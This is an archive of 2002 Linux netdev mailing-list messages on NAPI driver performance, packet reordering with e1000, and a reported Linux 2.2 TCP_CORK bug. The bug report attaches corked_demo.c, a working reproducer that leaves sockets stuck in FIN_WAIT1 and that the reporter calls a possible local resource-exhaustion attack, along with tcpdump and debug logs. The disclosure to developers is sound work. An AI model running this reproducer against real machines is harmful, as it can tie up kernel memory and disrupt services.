Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 234 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Andrew Morton Date: Tue, 17 Sep 2002 14:45:08 -0700 "David S. Miller" wrote: > Well, it is due to the same problems manfred saw initially, > namely just a crappy or buggy NAPI driver implementation. :-) It was due to additional inl()'s and outl()'s in the driver fastpath. How many? Did the implementation cache the register value in a software state word or did it read the register each time to write the IRQ masking bits back? It is issues like this that make me say "crappy or buggy NAPI implementation" Any driver should be able to get the NAPI overhead to max out at 2 PIOs per packet. And if the performance is really concerning, perhaps add an option to use MEM space in the 3c59x driver too, IO instructions are constant cost regardless of how fast the PCI bus being used is :-) From jgarzik@mandrakesoft.com Tue Sep 17 14:50:16 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 14:50:18 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HLoFtG028388 for ; Tue, 17 Sep 2002 14:50:15 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rQJO-0007IY-00; Tue, 17 Sep 2002 22:55:14 +0100 Message-ID: <3D87A4A2.6050403@mandrakesoft.com> Date: Tue, 17 Sep 2002 17:54:42 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D879F59.6BDF9443@digeo.com> <20020917.142635.114214508.davem@redhat.com> <3D87A264.8D5F3AD2@digeo.com> <20020917.143947.07361352.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 235 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev David S. Miller wrote: > Any driver should be able to get the NAPI overhead to max out at > 2 PIOs per packet. Just to pick nits... my example went from 2 or 3 IOs [depending on the presence/absence of a work loop] to 6 IOs. Feel free to re-read my message and point out where an IO can be eliminated... Jeff From davem@redhat.com Tue Sep 17 14:53:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 14:53:25 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HLrJtG028738 for ; Tue, 17 Sep 2002 14:53:20 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA16810; Tue, 17 Sep 2002 14:49:12 -0700 Date: Tue, 17 Sep 2002 14:49:11 -0700 (PDT) Message-Id: <20020917.144911.43656989.davem@redhat.com> To: jgarzik@mandrakesoft.com Cc: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: <3D87A4A2.6050403@mandrakesoft.com> References: <3D87A264.8D5F3AD2@digeo.com> <20020917.143947.07361352.davem@redhat.com> <3D87A4A2.6050403@mandrakesoft.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 236 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Jeff Garzik Date: Tue, 17 Sep 2002 17:54:42 -0400 David S. Miller wrote: > Any driver should be able to get the NAPI overhead to max out at > 2 PIOs per packet. Just to pick nits... my example went from 2 or 3 IOs [depending on the presence/absence of a work loop] to 6 IOs. I mean "2 extra PIOs" not "2 total PIOs". I think it's doable for just about every driver, even tg3 with it's weird semaphore scheme takes 2 extra PIOs worst case with NAPI. The semaphore I have to ACK anyways at hw IRQ time anyways, and since I keep a software copy of the IRQ masking register, mask and unmask are each one PIO. From Andrew.Morton@digeo.com Tue Sep 17 14:53:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 14:54:00 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HLrwtG028964 for ; Tue, 17 Sep 2002 14:53:58 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id OAA02194 for ; Tue, 17 Sep 2002 14:58:53 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091715025610689 ; Tue, 17 Sep 2002 15:02:56 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 14:58:53 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 14:58:52 -0700 Message-ID: <3D87A59C.410FFE3E@digeo.com> Date: Tue, 17 Sep 2002 14:58:52 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D87A264.8D5F3AD2@digeo.com> <20020917.143947.07361352.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Sep 2002 21:58:52.0581 (UTC) FILETIME=[69135D50:01C25E95] X-archive-position: 237 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev "David S. Miller" wrote: > > From: Andrew Morton > Date: Tue, 17 Sep 2002 14:45:08 -0700 > > "David S. Miller" wrote: > > Well, it is due to the same problems manfred saw initially, > > namely just a crappy or buggy NAPI driver implementation. :-) > > It was due to additional inl()'s and outl()'s in the driver fastpath. > > How many? Did the implementation cache the register value in a > software state word or did it read the register each time to write > the IRQ masking bits back? > Looks like it cached it: - outw(SetIntrEnb | (inw(ioaddr + 10) & ~StatsFull), ioaddr + EL3_CMD); vp->intr_enable &= ~StatsFull; + outw(vp->intr_enable, ioaddr + EL3_CMD); > It is issues like this that make me say "crappy or buggy NAPI > implementation" > > Any driver should be able to get the NAPI overhead to max out at > 2 PIOs per packet. > > And if the performance is really concerning, perhaps add an option to > use MEM space in the 3c59x driver too, IO instructions are constant > cost regardless of how fast the PCI bus being used is :-) Yup. But deltas are interesting. From hadi@cyberus.ca Tue Sep 17 18:00:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 18:00:11 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I104tG031332 for ; Tue, 17 Sep 2002 18:00:04 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id VAA00861; Tue, 17 Sep 2002 21:05:03 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8I0vwg03728; Tue, 17 Sep 2002 20:57:58 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 17 Sep 2002 20:57:58 -0400 (EDT) From: jamal To: Andrew Morton cc: "David S. Miller" , , , Subject: Re: Info: NAPI performance at "low" loads In-Reply-To: <3D87A59C.410FFE3E@digeo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 238 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Manfred, could you please turn MMIO (you can select it via kernel config) and see what the new difference looks like? I am not so sure with that 6% difference there is no other bug lurking there; 6% seems too large for an extra two PCI transactions per packet. If someone could test a different NIC this would be great. Actually what would be even better is to go something like 20kpps, 50kpps, 80 kpps, 100kpps and 140 kpps and see what we get. cheers, jamal From davem@redhat.com Tue Sep 17 18:04:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 18:04:21 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I14JtG031688 for ; Tue, 17 Sep 2002 18:04:19 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id SAA18025; Tue, 17 Sep 2002 18:00:15 -0700 Date: Tue, 17 Sep 2002 18:00:14 -0700 (PDT) Message-Id: <20020917.180014.07882539.davem@redhat.com> To: hadi@cyberus.ca Cc: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: References: <3D87A59C.410FFE3E@digeo.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 239 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: Tue, 17 Sep 2002 20:57:58 -0400 (EDT) I am not so sure with that 6% difference there is no other bug lurking there; 6% seems too large for an extra two PCI transactions per packet. {in,out}{b,w,l}() operations have a fixed timing, therefore his results doesn't sound that far off. It is also one of the reasons I suspect Andrew saw such bad results with 3c59x, but probably that is not the only reason. From hadi@cyberus.ca Tue Sep 17 18:09:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 18:09:57 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I19rtG032073 for ; Tue, 17 Sep 2002 18:09:55 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id VAA03765; Tue, 17 Sep 2002 21:14:53 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8I17rM03745; Tue, 17 Sep 2002 21:07:54 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 17 Sep 2002 21:07:53 -0400 (EDT) From: jamal To: Ben Greear cc: Chris Friesen , Cacophonix , , Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation In-Reply-To: <3D875BA9.70501@candelatech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 240 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Tue, 17 Sep 2002, Ben Greear wrote: > I have a program that sends and receives UDP packets with 32-bit sequence > numbers. I can detect OOO packets if they fit into the last 10 packets > received. If they are farther out of order than that, the code treats > them as dropped.... > So let me understand this: You have a packet going out eth0 looped back to eth0 and you are seeing reordering? What sort of things are happening from departure at udp socket to arrival on the other side? Are you doing anything funky yourself or it is all kernel? > I used smp_afinity to tie a NIC to a CPU, and the napi patch for 2.4.20-pre7. Did you get reordering with affinity? > > When sending and receiving 250Mbps of UDP/IP traffic (sending over cross-over > cable to other NIC on same machine), I see the occasional OOO packet. I also > see bogus dropped packets, which means sometimes the order is off by 10 or more > packets.... A lot of shit is happening at that rate in particular with PCI bus. If i understood correctly a packet crosses the bus about 4 times? > > The other fun thing about this setup is that after running around 65 billion bytes > with this test, the machine crashes with an OOPs. No clue whats going on - probably a race somewhere and cant help since i dont have this NIC but if you get Robert excited he might be able to help you. > I can repeat this at will, but so far only on > this dual-proc machine, and only using the e1000 driver (NAPI or regular). Soon, I'll > test with a 4-port tulip NIC to see if I can take the e1000 out of the equation... > I doubt youll see it there. cheers, jamal From mbp@samba.org Tue Sep 17 19:02:00 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:02:07 -0700 (PDT) Received: from sngrel5.hp.com (sngrel5.hp.com [192.6.86.210]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I21qtG001129 for ; Tue, 17 Sep 2002 19:01:56 -0700 Received: from ctss11.sgp.hp.com (ctss11.sgp.hp.com [15.85.49.5]) by sngrel5.hp.com (Postfix) with ESMTP id 7431A630 for ; Wed, 18 Sep 2002 10:06:48 +0800 (SGP) Received: from XAUBRG2.AUS.HP.COM (xaubrg2.aus.hp.com [15.23.69.43]) by ctss11.sgp.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail BPI enabled) with SMTP id KAA02261 for ; Wed, 18 Sep 2002 10:06:40 +0800 (SGP) Received: from 15.23.69.43 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 12:04:37 +1000 Received: from XAUBRG2.AUS.HP.COM (localhost [127.0.0.1]) by XAUBRG2.AUS.HP.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id SJWWT6T4; Wed, 18 Sep 2002 12:04:36 +1000 Received: from 16.176.68.120 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 12:04:35 +1000 Received: from mbp by vexed.aus.hp.com with local (Exim 3.36 #1 (Debian)) id 17rUBx-0000og-00; Wed, 18 Sep 2002 12:03:49 +1000 Date: Wed, 18 Sep 2002 12:03:49 +1000 From: Martin Pool To: davem@redhat.com, ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case Message-ID: <20020918020346.GA2285@samba.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="yrj/dFKFPuw6o+aM" Content-Disposition: inline User-Agent: Mutt/1.4i X-GPG: 1024D/A0B3E88B: AFAC578F 1841EE6B FD95E143 3C63CA3F A0B3E88B X-archive-position: 241 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbp@samba.org Precedence: bulk X-list: netdev --yrj/dFKFPuw6o+aM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline (Sorry for spamming people directly; my list message didn't get a reply and it's a serious bug in some circumstances.) I've discovered a bug in Linux 2.2 that allows TCP sockets to get stuck in FIN_WAIT1 with no timeout or retransmissions. Code to demonstrate the problem, plus a tcpdump of it happening, is attached. There are more details about what's going on, as I understand it, in the headers. I suspect there is a mishandling of sk->nonagle==2 in tcp_send_test(), but I have not yet puzzled out the code enough to say exactly what it is. I think basically the handling of a closing socket that still has corks set is broken. You might argue that this is a security bug because it allows local users to consume arbitrarily large (?) kernel resources, and in some cases the resources cannot be released without a reboot. (Or perhaps a spoofed RST packet would fix it too.) -- Martin --yrj/dFKFPuw6o+aM Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="corked_demo.c" /* -*- c-file-style: "java"; indent-tabs-mode: nil -*- * * corked_demo.c -- Demonstrate Linux 2.2 bug relating to TCP_CORKED sockets. * * Written 2002 by Martin Pool * * Build this, run it as root with something like "sudo ./corked_demo * SOMEHOST 9" to write to the discard port. (It needs root access to * set SO_DEBUG.) The other machine must be running the discard * service to accept the connection and data. * * Basically all it does is open a corked connection, and then drop it * while there is (possibly) data in the SendQ. The socket gets * "stuck" in FIN_WAIT1 and doesn't seem to be able to flush the last * bit of data. * * If you have an affected version of the kernel, most times this is * run run you will get a socket stuck in FIN_WAIT1 state. It looks * like this: * * tcp 0 3201 maudlin:1048 maudlin:discard FIN_WAIT1 root 0 - off (0.00/0/0) * * This happens in 2.2.16, .18, and .21. * * It seems to me that this *has* to be incorrect, because there is * data waiting to go out, but no timer running. The socket stays * stuck, chewing up kernel memory forever. * * Running a hundred iterations gives 36 stuck in this state. * * On the server the situation is almost as bad: the sockets end up in * ESTABLISHED state, but they'll never recieve more data. Presumably * they'll hang around until the server gives up and terminates, or * until the TCP 2-hour timeout elapses. * * Sometimes killing off the server makes the FIN_WAIT1 sockets go * away on the client, but it is not reliable. However, neither side * seems to time out of its own accord -- I left the two machines * sitting overnight and all the sockets were still * FIN_WAIT1/ESTABLISHED in the morning. * * tcpdump shows that the FIN is not sent when the client program * closes the socket. However, when the server program is killed, its * FIN gets things flowing again. * * I think that on the system where this was originally seen, both the * client and the server used corks, and so killing the server program * and closing its socket didn't send a FIN, and therefore things * stayed jammed indefinitely. * * Since this can be provoked with local unprivileged access, and * since the sockets apparently can't be cleared up without a reboot, * it could be considered a kind of resource exhaustion attack. If it * happens inadvertently, it can cause problems on the server by * causing the remote machine to hang until it is killed off. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /** * Open a socket to a tcp remote host with the specified port. * * The socket is (if appropriate) corked on return, so that the third * handshake should be sent containing useful data. * * Stolen from rsync via distcc. * * @todo Don't try for too long to connect. **/ int open_socket_out(const char *host, int port, int *p_fd) { int type = SOCK_STREAM; struct sockaddr_in sock_out; int fd; struct hostent *hp; fd = socket(PF_INET, type, 0); if (fd == -1) { printf("failed to create socket: %s\n", strerror(errno)); exit(1); } hp = gethostbyname(host); if (!hp) { fprintf(stderr, "unknown host: \"%s\"\n", host); (void) close(fd); exit(1); } memcpy(&sock_out.sin_addr, hp->h_addr, (size_t) hp->h_length); sock_out.sin_port = htons(port); sock_out.sin_family = PF_INET; if (connect(fd, (struct sockaddr *) &sock_out, (int) sizeof(sock_out))) { fprintf(stderr, "failed to connect to %s port %d: %s\n", host, port, strerror(errno)); (void) close(fd); exit(1); } printf("client got connection to %s port %d on fd%d\n", host, port, fd); *p_fd = fd; return 0; } /** * Stick a TCP cork in the socket. **/ int tcp_cork_sock(int fd, int corked) { if (setsockopt(fd, SOL_TCP, TCP_CORK, &corked, sizeof corked) == -1) { fprintf(stderr, "setsockopt(corked=%d) failed: %s\n", corked, strerror(errno)); exit(1); } printf("%scorked fd%d\n", corked ? "" : "un", fd); return 0; } int debug_sock(int fd, int debug_on) { if (setsockopt(fd, SOL_SOCKET, SO_DEBUG, &debug_on, sizeof debug_on) == -1) { fprintf(stderr, "setsockopt(debug=%d) failed: %s\n", debug_on, strerror(errno)); exit(1); } printf("%sdebug fd%d\n", debug_on ? "" : "un", fd); return 0; } int dcc_writex(int fd, const void *buf, size_t len) { ssize_t r; while (len > 0) { r = write(fd, buf, len); if (r == -1) { fprintf(stderr, "failed to write: %s\n", strerror(errno)); return -1; } else if (r == 0) { fprintf(stderr, "unexpected eof on fd%d\n", fd); return -1; } else { buf = &((char *) buf)[r]; len -= r; } } return 0; } int send_junk(int fd) { static char trash[100000]; return dcc_writex(fd, trash, sizeof trash); } int main(int argc, char **argv) { int fd; if (argc != 3) { fprintf(stderr, "usage: corked_demo HOST NUMERICPORT\n"); return 1; } open_socket_out(argv[1], atoi(argv[2]), &fd); debug_sock(fd, 1); tcp_cork_sock(fd, 1); send_junk(fd); return 0; } --yrj/dFKFPuw6o+aM Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="corked_tcpdump.txt" tcpdump: listening on eth0 04:39:25.336746 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: S 2229455302:2229455302(0) win 16060 (DF) 04:39:25.336913 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: S 3652179257:3652179257(0) ack 2229455303 win 5792 (DF) 04:39:25.337134 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . ack 1 win 16060 (DF) 04:39:25.343813 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: P 1:1449(1448) ack 1 win 16060 (DF) 04:39:25.344057 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: P 1449:2897(1448) ack 1 win 16060 (DF) 04:39:25.344012 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 1449 win 8688 (DF) 04:39:25.344160 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 2897 win 11584 (DF) 04:39:25.344657 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 2897:4345(1448) ack 1 win 16060 (DF) 04:39:25.345093 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 4345:5793(1448) ack 1 win 16060 (DF) 04:39:25.345299 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 5793:7241(1448) ack 1 win 16060 (DF) 04:39:25.345407 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 7241:8689(1448) ack 1 win 16060 (DF) 04:39:25.345059 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 4345 win 14480 (DF) 04:39:25.345210 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 5793 win 17376 (DF) 04:39:25.345389 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 7241 win 20272 (DF) 04:39:25.345499 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 8689 win 23168 (DF) 04:39:25.345686 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 8689:10137(1448) ack 1 win 16060 (DF) 04:39:25.345880 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 10137:11585(1448) ack 1 win 16060 (DF) 04:39:25.346046 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 11585:13033(1448) ack 1 win 16060 (DF) 04:39:25.346230 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 13033:14481(1448) ack 1 win 16060 (DF) 04:39:25.346424 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 14481:15929(1448) ack 1 win 16060 (DF) 04:39:25.346534 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 15929:17377(1448) ack 1 win 16060 (DF) 04:39:25.346651 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 17377:18825(1448) ack 1 win 16060 (DF) 04:39:25.346759 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . 18825:20273(1448) ack 1 win 16060 (DF) 04:39:25.345806 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 10137 win 26064 (DF) 04:39:25.345970 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 11585 win 28960 (DF) 04:39:25.346208 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 13033 win 31856 (DF) 04:39:25.346323 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 14481 win 34752 (DF) 04:39:25.346516 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 15929 win 37648 (DF) 04:39:25.346624 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 17377 win 40544 (DF) 04:39:25.346742 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 18825 win 43440 (DF) 04:39:25.346849 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 20273 win 46336 (DF) 04:39:25.347261 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: . ack 21721 win 49232 (DF) (now, kill the server) 04:39:43.795571 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: F 1:1(0) ack 99913 win 63712 (DF) 04:39:43.795643 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: . ack 2 win 16060 (DF) 04:39:43.795801 maudlin.ozlabs.hp.com.1884 > nevada.aus.hp.com.discard: FP 99913:100001(88) ack 2 win 16060 (DF) 04:39:43.795890 nevada.aus.hp.com.discard > maudlin.ozlabs.hp.com.1884: R 3652179259:3652179259(0) win 0 (DF) 36 packets received by filter 0 packets dropped by kernel --yrj/dFKFPuw6o+aM Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=corked-out-20020917-2009 ev: 1.0 Type: Direct-Access ANSI SCSI revision: 02 Detected scsi disk sda at scsi0, channel 0, id 0, lun 0 scsi0: Target 0: Queue Depth 28, Asynchronous scsi : detected 1 SCSI disk total. SCSI device sda: hdwr sector= 512 bytes. Sectors= 2097152 [1024 MB] [1.0 GB] pcnet32.c: PCI bios is present, checking for devices... PCI Master Bit has not been set. Setting... Found PCnet/PCI at 0x10a0, irq 10. eth0: PCnet/PCI II 79C970A at 0x10a0, 00 50 56 40 00 52 assigned IRQ 10. pcnet32.c:v1.25kf 26.9.1999 tsbogend@alpha.franken.de Partition check: sda: sda1 sda2 < sda5 > IA-32 Microcode Update Driver: v1.08 VFS: Mounted root (ext2 filesystem) readonly. Freeing unused kernel memory: 60k freed scsi0: Tagged Queuing now active for Target 0 Adding Swap: 268264k swap-space (priority -1) tcp_snd_test sk=c7977740, skb=c7a72ac0, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87a40, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87680, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a875e0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a875e0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87540, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87540, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87540, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a874a0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a874a0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a874a0, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87400, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87400, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87400, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87180, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87180, tail=0 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87900, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87900, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a870e0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a870e0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test 